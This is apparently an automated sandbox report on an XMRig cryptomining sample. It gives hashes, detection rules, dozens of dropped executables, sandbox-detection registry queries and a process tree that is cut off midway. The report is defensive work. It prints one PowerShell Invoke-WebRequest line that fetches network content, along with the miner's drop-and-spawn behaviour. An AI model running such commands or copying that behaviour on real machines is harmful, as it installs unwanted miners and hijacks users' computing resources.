xmrig | 7a65ea84978d653141d5fe65a05f59831cd7be417ae8c630a4e584647e92b35c

Analysis

max time kernel
150s
max time network
179s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29-12-2024 10:46

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
Size

1.2MB
MD5

00a6f71a9d6feb05e9e6d489bb90dc7e
SHA1

5acccf16c169efa645ca9a75a8b611072ab94ecb
SHA256

e77100fd7247439b64dc73d87e57634e67cf14e58ab08db2f7fbdcc4fdf3a034
SHA512

c250d7758990dc4de400694624a18504724d5519fe67eee8c114b59bcf35b42b97ae04b376a2c290b724bf4bc6fd8cf7cbd154579d58ba53c8462b7241a34807
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkUCCWvLEvjhMgQhCwbvjOuhiS+:Lz071uv4BPMkHC0INFWOuhp+

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

Xmrig family
xmrig
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 26 IoCs

miner

resource	yara_rule
behavioral16/memory/1896-333-0x00007FF6A2000000-0x00007FF6A23F2000-memory.dmp	xmrig
behavioral16/memory/3320-330-0x00007FF6BA190000-0x00007FF6BA582000-memory.dmp	xmrig
behavioral16/memory/4300-444-0x00007FF648E50000-0x00007FF649242000-memory.dmp	xmrig
behavioral16/memory/2064-470-0x00007FF633F20000-0x00007FF634312000-memory.dmp	xmrig
behavioral16/memory/4344-519-0x00007FF6B29F0000-0x00007FF6B2DE2000-memory.dmp	xmrig
behavioral16/memory/3744-556-0x00007FF715FF0000-0x00007FF7163E2000-memory.dmp	xmrig
behavioral16/memory/3300-518-0x00007FF706450000-0x00007FF706842000-memory.dmp	xmrig
behavioral16/memory/636-517-0x00007FF6344E0000-0x00007FF6348D2000-memory.dmp	xmrig
behavioral16/memory/1596-516-0x00007FF6E0630000-0x00007FF6E0A22000-memory.dmp	xmrig
behavioral16/memory/3596-515-0x00007FF724BF0000-0x00007FF724FE2000-memory.dmp	xmrig
behavioral16/memory/4540-514-0x00007FF7DB270000-0x00007FF7DB662000-memory.dmp	xmrig
behavioral16/memory/1460-513-0x00007FF79DB70000-0x00007FF79DF62000-memory.dmp	xmrig
behavioral16/memory/1932-512-0x00007FF703FC0000-0x00007FF7043B2000-memory.dmp	xmrig
behavioral16/memory/2432-503-0x00007FF669550000-0x00007FF669942000-memory.dmp	xmrig
behavioral16/memory/432-502-0x00007FF66B6F0000-0x00007FF66BAE2000-memory.dmp	xmrig
behavioral16/memory/2356-501-0x00007FF6118E0000-0x00007FF611CD2000-memory.dmp	xmrig
behavioral16/memory/224-469-0x00007FF77B7F0000-0x00007FF77BBE2000-memory.dmp	xmrig
behavioral16/memory/4904-468-0x00007FF70ADA0000-0x00007FF70B192000-memory.dmp	xmrig
behavioral16/memory/3764-443-0x00007FF633440000-0x00007FF633832000-memory.dmp	xmrig
behavioral16/memory/4980-263-0x00007FF7B7FA0000-0x00007FF7B8392000-memory.dmp	xmrig
behavioral16/memory/4920-254-0x00007FF7F49D0000-0x00007FF7F4DC2000-memory.dmp	xmrig
behavioral16/memory/1512-141-0x00007FF641940000-0x00007FF641D32000-memory.dmp	xmrig
behavioral16/memory/5040-2305-0x00007FF666770000-0x00007FF666B62000-memory.dmp	xmrig
behavioral16/memory/636-5500-0x00007FF6344E0000-0x00007FF6348D2000-memory.dmp	xmrig
behavioral16/memory/224-5596-0x00007FF77B7F0000-0x00007FF77BBE2000-memory.dmp	xmrig
behavioral16/memory/2432-5672-0x00007FF669550000-0x00007FF669942000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4672	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2116	BSbWdTz.exe
1512	ACOjjdM.exe
4836	fBvOCUP.exe
4920	PHYsLNg.exe
4980	qmzjCfP.exe
4344	nbvvJuH.exe
3320	PkLhycZ.exe
1896	eUzvsnc.exe
3764	qrRcJDh.exe
4300	TkcvOJM.exe
4904	wctLNfE.exe
224	KljozrS.exe
2064	obUdrpz.exe
2356	WezrcUV.exe
3744	zqXPFYm.exe
432	LRRxFBM.exe
2432	pjBxNJv.exe
1932	BBybgMe.exe
1460	yWdiOCM.exe
4540	hFpQlSt.exe
3596	SHePavH.exe
1596	THZYBNx.exe
636	QpquoDd.exe
3300	wNOBvNv.exe
1564	XxgUBUI.exe
1524	gORBSkk.exe
1504	FMlMWDn.exe
2780	fbTBYjr.exe
3632	KReTebV.exe
4804	tJhbRJX.exe
2684	rxSZuYN.exe
4480	fbgFNtH.exe
2828	UQgplvT.exe
2820	oRPsIeC.exe
4496	pBhTlTL.exe
1972	pFXEWVw.exe
4848	HVsWxZs.exe
3168	ykTueDl.exe
1748	EokDcnE.exe
2392	PhdKeuY.exe
880	ICOhNxf.exe
1324	sPcyGet.exe
1400	RzkgCpj.exe
4784	XaVEzeI.exe
1652	Ktkbmay.exe
1140	zOxeZqL.exe
3436	SDJybQR.exe
2128	kgtesty.exe
3896	qQZtfnG.exe
1456	SGDboPG.exe
2468	bWXKUqO.exe
4032	GeQLNkz.exe
4664	DbfscMA.exe
1356	XUonOGN.exe
2036	pJvTpjz.exe
3824	uFlIbKX.exe
2028	abKwwiO.exe
5076	msuOGwT.exe
1448	TAuBUsM.exe
4968	LTIAnqH.exe
2932	JirwZpa.exe
2172	wGRjLRC.exe
3560	WODaQvM.exe
5020	woqcCav.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral16/memory/5040-0-0x00007FF666770000-0x00007FF666B62000-memory.dmp	upx
behavioral16/files/0x00070000000241f7-68.dat	upx
behavioral16/files/0x000d000000023bb2-67.dat	upx
behavioral16/files/0x00070000000241f0-66.dat	upx
behavioral16/files/0x0007000000024203-121.dat	upx
behavioral16/files/0x00070000000241ef-104.dat	upx
behavioral16/files/0x00070000000241f4-97.dat	upx
behavioral16/files/0x00070000000241f3-46.dat	upx
behavioral16/files/0x00070000000241f2-41.dat	upx
behavioral16/files/0x00070000000241fa-80.dat	upx
behavioral16/memory/2116-73-0x00007FF60B760000-0x00007FF60BB52000-memory.dmp	upx
behavioral16/files/0x00070000000241f1-35.dat	upx
behavioral16/files/0x00070000000241f6-65.dat	upx
behavioral16/files/0x00070000000241f5-62.dat	upx
behavioral16/files/0x000c000000023b62-20.dat	upx
behavioral16/files/0x00070000000241ed-19.dat	upx
behavioral16/memory/1896-333-0x00007FF6A2000000-0x00007FF6A23F2000-memory.dmp	upx
behavioral16/memory/3320-330-0x00007FF6BA190000-0x00007FF6BA582000-memory.dmp	upx
behavioral16/memory/4300-444-0x00007FF648E50000-0x00007FF649242000-memory.dmp	upx
behavioral16/memory/2064-470-0x00007FF633F20000-0x00007FF634312000-memory.dmp	upx
behavioral16/memory/4344-519-0x00007FF6B29F0000-0x00007FF6B2DE2000-memory.dmp	upx
behavioral16/memory/3744-556-0x00007FF715FF0000-0x00007FF7163E2000-memory.dmp	upx
behavioral16/memory/3300-518-0x00007FF706450000-0x00007FF706842000-memory.dmp	upx
behavioral16/memory/636-517-0x00007FF6344E0000-0x00007FF6348D2000-memory.dmp	upx
behavioral16/memory/1596-516-0x00007FF6E0630000-0x00007FF6E0A22000-memory.dmp	upx
behavioral16/memory/3596-515-0x00007FF724BF0000-0x00007FF724FE2000-memory.dmp	upx
behavioral16/memory/4540-514-0x00007FF7DB270000-0x00007FF7DB662000-memory.dmp	upx
behavioral16/memory/1460-513-0x00007FF79DB70000-0x00007FF79DF62000-memory.dmp	upx
behavioral16/memory/1932-512-0x00007FF703FC0000-0x00007FF7043B2000-memory.dmp	upx
behavioral16/memory/2432-503-0x00007FF669550000-0x00007FF669942000-memory.dmp	upx
behavioral16/memory/432-502-0x00007FF66B6F0000-0x00007FF66BAE2000-memory.dmp	upx
behavioral16/memory/2356-501-0x00007FF6118E0000-0x00007FF611CD2000-memory.dmp	upx
behavioral16/memory/224-469-0x00007FF77B7F0000-0x00007FF77BBE2000-memory.dmp	upx
behavioral16/memory/4904-468-0x00007FF70ADA0000-0x00007FF70B192000-memory.dmp	upx
behavioral16/memory/3764-443-0x00007FF633440000-0x00007FF633832000-memory.dmp	upx
behavioral16/memory/4980-263-0x00007FF7B7FA0000-0x00007FF7B8392000-memory.dmp	upx
behavioral16/memory/4920-254-0x00007FF7F49D0000-0x00007FF7F4DC2000-memory.dmp	upx
behavioral16/memory/4836-238-0x00007FF600BD0000-0x00007FF600FC2000-memory.dmp	upx
behavioral16/files/0x0007000000024217-237.dat	upx
behavioral16/files/0x0007000000024216-236.dat	upx
behavioral16/files/0x0007000000024215-235.dat	upx
behavioral16/files/0x0007000000024214-234.dat	upx
behavioral16/files/0x0007000000024213-233.dat	upx
behavioral16/files/0x0007000000024212-225.dat	upx
behavioral16/files/0x0007000000024202-218.dat	upx
behavioral16/files/0x0007000000024201-213.dat	upx
behavioral16/files/0x0007000000024200-204.dat	upx
behavioral16/files/0x0007000000024211-201.dat	upx
behavioral16/files/0x000700000002420f-198.dat	upx
behavioral16/files/0x000700000002420e-197.dat	upx
behavioral16/files/0x000700000002420c-191.dat	upx
behavioral16/files/0x000700000002420a-188.dat	upx
behavioral16/files/0x0007000000024208-175.dat	upx
behavioral16/files/0x0007000000024207-155.dat	upx
behavioral16/files/0x0007000000024206-144.dat	upx
behavioral16/memory/1512-141-0x00007FF641940000-0x00007FF641D32000-memory.dmp	upx
behavioral16/files/0x0007000000024205-135.dat	upx
behavioral16/files/0x0007000000024204-131.dat	upx
behavioral16/files/0x00070000000241f9-125.dat	upx
behavioral16/files/0x0007000000024210-199.dat	upx
behavioral16/files/0x0007000000024209-187.dat	upx
behavioral16/files/0x00070000000241f8-91.dat	upx
behavioral16/files/0x00070000000241fe-90.dat	upx
behavioral16/files/0x00070000000241ff-89.dat	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\jHiUoJG.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\bOgADQy.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\meWxQxa.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\ejFymxV.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\sJqWLpI.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\qXKRCjY.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\PtmWJao.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\kyOngAK.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\XYtCYmK.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\eOaovdF.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\dvvDxWe.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\nueagtB.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\PaGARmc.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\ePQQqWF.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\EwIDKZd.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\WMvTImd.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\CneFNKV.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\UHONNxI.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\HRyZhVb.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\NvWggdQ.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\JhmCIYl.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\unqnwyy.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\eTIPXet.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\UtoyJIU.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\ViSjfJw.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\FaiANxV.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\KuXUAkX.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\subYtdG.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\QefecKH.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\qFPdTeA.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\SqKREED.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\MPIktqE.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\JChnVaX.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\jGWzoDp.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\HlJFntr.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\GrhQyUK.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\cJvlkKi.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\kLerlBO.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\lDiuyBR.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\NmVxNxY.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\ecazTXx.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\RczczdP.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\TMgpYSr.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\wUoWoaG.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\LmCoEXu.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\eejTTyY.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\KGxzDNh.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\gCjjNoQ.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\ngwIRpG.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\tGxDJAo.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\pMxibxm.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\Mlpclqn.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\pEnMDGY.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\PAZELan.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\tnSJvGf.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\OPHtZKw.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\LkUcQeS.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\EaiHYAk.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\ykrjtxX.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\jiGwsRX.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\OuzxFZg.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\qHGZEyA.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\IGQzSfC.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
File created	C:\Windows\System\AKeOVcu.exe	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	wermgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	wermgr.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	wermgr.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	wermgr.exe

Modifies data under HKEY_USERS 8 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\ExternalFeatureOverrides\officeclicktorun	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\FirstSession\officeclicktorun	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\Overrides	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\officeclicktorun\Overrides	Process not Found
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\all\Overrides	Process not Found

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4672	powershell.exe
4672	powershell.exe
4672	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
Token: SeLockMemoryPrivilege	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
Token: SeDebugPrivilege	4672	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 5040 wrote to memory of 4672	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	87
PID 5040 wrote to memory of 4672	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	87
PID 5040 wrote to memory of 1512	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	88
PID 5040 wrote to memory of 1512	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	88
PID 5040 wrote to memory of 2116	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	89
PID 5040 wrote to memory of 2116	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	89
PID 5040 wrote to memory of 4836	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	90
PID 5040 wrote to memory of 4836	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	90
PID 5040 wrote to memory of 4920	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	91
PID 5040 wrote to memory of 4920	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	91
PID 5040 wrote to memory of 4980	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	92
PID 5040 wrote to memory of 4980	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	92
PID 5040 wrote to memory of 224	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	93
PID 5040 wrote to memory of 224	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	93
PID 5040 wrote to memory of 4344	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	94
PID 5040 wrote to memory of 4344	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	94
PID 5040 wrote to memory of 3320	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	95
PID 5040 wrote to memory of 3320	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	95
PID 5040 wrote to memory of 1896	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	96
PID 5040 wrote to memory of 1896	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	96
PID 5040 wrote to memory of 3764	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	97
PID 5040 wrote to memory of 3764	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	97
PID 5040 wrote to memory of 4300	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	98
PID 5040 wrote to memory of 4300	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	98
PID 5040 wrote to memory of 4904	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	99
PID 5040 wrote to memory of 4904	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	99
PID 5040 wrote to memory of 2064	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	100
PID 5040 wrote to memory of 2064	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	100
PID 5040 wrote to memory of 2356	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	101
PID 5040 wrote to memory of 2356	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	101
PID 5040 wrote to memory of 1564	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	102
PID 5040 wrote to memory of 1564	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	102
PID 5040 wrote to memory of 3744	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	103
PID 5040 wrote to memory of 3744	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	103
PID 5040 wrote to memory of 432	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	104
PID 5040 wrote to memory of 432	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	104
PID 5040 wrote to memory of 2432	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	105
PID 5040 wrote to memory of 2432	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	105
PID 5040 wrote to memory of 1932	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	106
PID 5040 wrote to memory of 1932	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	106
PID 5040 wrote to memory of 1460	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	107
PID 5040 wrote to memory of 1460	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	107
PID 5040 wrote to memory of 4540	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	108
PID 5040 wrote to memory of 4540	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	108
PID 5040 wrote to memory of 3596	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	109
PID 5040 wrote to memory of 3596	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	109
PID 5040 wrote to memory of 1596	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	110
PID 5040 wrote to memory of 1596	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	110
PID 5040 wrote to memory of 636	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	111
PID 5040 wrote to memory of 636	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	111
PID 5040 wrote to memory of 3300	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	112
PID 5040 wrote to memory of 3300	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	112
PID 5040 wrote to memory of 1524	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	113
PID 5040 wrote to memory of 1524	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	113
PID 5040 wrote to memory of 1504	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	114
PID 5040 wrote to memory of 1504	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	114
PID 5040 wrote to memory of 2780	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	115
PID 5040 wrote to memory of 2780	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	115
PID 5040 wrote to memory of 3632	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	116
PID 5040 wrote to memory of 3632	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	116
PID 5040 wrote to memory of 4804	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	117
PID 5040 wrote to memory of 4804	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	117
PID 5040 wrote to memory of 2684	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	118
PID 5040 wrote to memory of 2684	5040	virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe	118

C:\Users\Admin\AppData\Local\Temp\virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe
"C:\Users\Admin\AppData\Local\Temp\virussign.com_00a6f71a9d6feb05e9e6d489bb90dc7e.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4672
- - C:\Windows\system32\wermgr.exe
    "C:\Windows\system32\wermgr.exe" "-outproc" "0" "4672" "2108" "2040" "2112" "0" "0" "2116" "0" "0" "0" "0" "0"
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:11888
- C:\Windows\System\ACOjjdM.exe
  C:\Windows\System\ACOjjdM.exe
  2⤵
  - Executes dropped EXE
  PID:1512
- C:\Windows\System\BSbWdTz.exe
  C:\Windows\System\BSbWdTz.exe
  2⤵
  - Executes dropped EXE
  PID:2116
- C:\Windows\System\fBvOCUP.exe
  C:\Windows\System\fBvOCUP.exe
  2⤵
  - Executes dropped EXE
  PID:4836
- C:\Windows\System\PHYsLNg.exe
  C:\Windows\System\PHYsLNg.exe
  2⤵
  - Executes dropped EXE
  PID:4920
- C:\Windows\System\qmzjCfP.exe
  C:\Windows\System\qmzjCfP.exe
  2⤵
  - Executes dropped EXE
  PID:4980
- C:\Windows\System\KljozrS.exe
  C:\Windows\System\KljozrS.exe
  2⤵
  - Executes dropped EXE
  PID:224
- C:\Windows\System\nbvvJuH.exe
  C:\Windows\System\nbvvJuH.exe
  2⤵
  - Executes dropped EXE
  PID:4344
- C:\Windows\System\PkLhycZ.exe
  C:\Windows\System\PkLhycZ.exe
  2⤵
  - Executes dropped EXE
  PID:3320
- C:\Windows\System\eUzvsnc.exe
  C:\Windows\System\eUzvsnc.exe
  2⤵
  - Executes dropped EXE
  PID:1896
- C:\Windows\System\qrRcJDh.exe
  C:\Windows\System\qrRcJDh.exe
  2⤵
  - Executes dropped EXE
  PID:3764
- C:\Windows\System\TkcvOJM.exe
  C:\Windows\System\TkcvOJM.exe
  2⤵
  - Executes dropped EXE
  PID:4300
- C:\Windows\System\wctLNfE.exe
  C:\Windows\System\wctLNfE.exe
  2⤵
  - Executes dropped EXE
  PID:4904
- C:\Windows\System\obUdrpz.exe
